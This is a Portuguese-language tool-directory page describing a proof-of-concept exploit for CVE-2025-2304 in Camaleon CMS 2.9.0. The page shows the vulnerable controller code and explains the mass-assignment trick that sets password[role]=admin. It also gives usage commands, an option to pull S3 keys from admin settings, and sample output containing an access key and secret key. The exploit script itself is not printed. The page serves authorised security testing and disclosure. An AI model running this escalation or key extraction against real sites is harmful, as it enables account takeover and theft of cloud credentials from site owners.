Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-2304 — Escalação de privilégio autenticada no Camaleon CMS v2.9.0 via manipulação inadequada de parâmetros no endpoint updated_ajax. | Kitploit
Ferramentas/GitHubGitHub/alien0ne/cve-2025-2304
Escalada de PrivilégiosAtaques de SenhaAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubalien0ne/cve-2025-2304

CVE-2025-2304

Escalação de privilégio autenticada no Camaleon CMS v2.9.0 via manipulação inadequada de parâmetros no endpoint updated_ajax.

Ver Repositório
193há 6 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Camaleon CMS 2.9.0 – Escalação de Privilégio Autenticada (Alteração de Função) + Vazamento Opcional de Config S3

Alvo: Camaleon CMS v2.9.0
Tipo: Escalação de privilégio autenticada via mass-assignment em updated_ajax (campo role)
Extras: Extração opcional da configuração S3 da página de configurações do admin (se o usuário autenticado puder acessá-la após a escalação)

Visão Geral

Este repositório contém um script de prova de conceito em Python que:

  1. Faz login no painel de administração do Camaleon CMS com credenciais válidas.
  2. Obtém um token CSRF de /admin/profile/edit.
  3. Chama o endpoint updated_ajax para atualizar campos password[...] e abusa de permit! para definir password[role]=admin.
  4. Opcionalmente (-e) extrai valores de configuração S3 de /admin/settings/site.
  5. Opcionalmente (-r) reverte a função para o valor original após a execução.

Este comportamento corresponde ao padrão inseguro de mass-assignment descrito no advisory relacionado:

  • Tenable Research Advisory: TRA-2025-09

Causa Raiz (O que é vulnerável)

A ação do controlador abaixo atualiza um usuário com permit!:

root@kitploit:~
def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

Como permit! permite todas as chaves sob password, um atacante pode enviar:

  • password[password]
  • password[password_confirmation]
  • password[role]=admin

e a aplicação aceitará, elevando a função do usuário.

Impacto

  • Qualquer usuário autenticado que consiga acessar a rota vulnerável pode potencialmente escalar privilégios definindo sua função como admin.
  • Após a escalação, páginas exclusivas para admin (como configurações do site) podem se tornar acessíveis, potencialmente vazando valores sensíveis de configuração (ex.: chaves S3).

Requisitos

  • Python 3.8+
  • requests

Instalar dependência:

root@kitploit:~
pip install requests

Uso

Escalação básica de privilégio (autenticado)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test

Escalar + extrair config S3 (-e)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e

Escalar + reverter função (-r)

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -r

Escalar + extrair + reverter

root@kitploit:~
python exploit.py -u http://alienone.in -U test -P test -e -r

Argumentos

Execução de Exemplo

root@kitploit:~
python3 exploit.py -u http://alienone.in -U test -P test -e -r

Exemplo de Saída

root@kitploit:~
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
   User ID: 5
   Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
   User ID: 5
   Updated User Role: admin
[+]Extracting S3 Credentials
   s3 access key: AKIAF3A388ECF117D966
   s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
   s3 endpoint: http://localhost:54321
[+]Reverting User Role
   User ID: 5
   User Role: client

Como o PoC Confirma o Login

O script verifica se o HTML retornado contém um link /admin/logout após o POST de login.
Se o link de logout estiver presente, a sessão é considerada autenticada.

Notas sobre Tokens CSRF

O Camaleon usa CSRF no estilo Rails. Normalmente você verá tokens em dois lugares comuns:

  • Input oculto em formulários: name="authenticity_token" value="..."
  • Meta tag: <meta name="csrf-token" content="...">

O PoC obtém o meta csrf-token de /admin/profile/edit e o utiliza em:

  • Corpo da solicitação: authenticity_token=<token>
  • Cabeçalho: X-CSRF-Token: <token>

Aviso Legal

Este código é fornecido apenas para testes de segurança autorizados e fins educacionais (ex.: laboratórios, CTFs e ambientes onde você tenha permissão explícita).
Não o utilize contra sistemas que você não possua ou não tenha permissão para testar.


Referências

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2304
  • https://www.tenable.com/security/research/tra-2025-09
  • owen2345/camaleon-cms#1109
  • owen2345/camaleon-cms@179fd6b
  • https://github.com/owen2345/camaleon-cms/releases/tag/2.9.0
  • https://github.com/rubysec/ruby-advisory-db/blob/master/gems/camaleon_cms/CVE-2025-2304.yml
Baixar ferramenta
OpçãoDescrição
-u, --urlURL base (ex.: http://alienone.in)
-U, --usernameNome de usuário válido
-P, --passwordSenha válida
--newpassValor da senha enviado na solicitação de atualização (padrão: test)
-e, --extractExtrair configuração S3 da página de configurações
-r, --revertReverter a função para a original após a escalação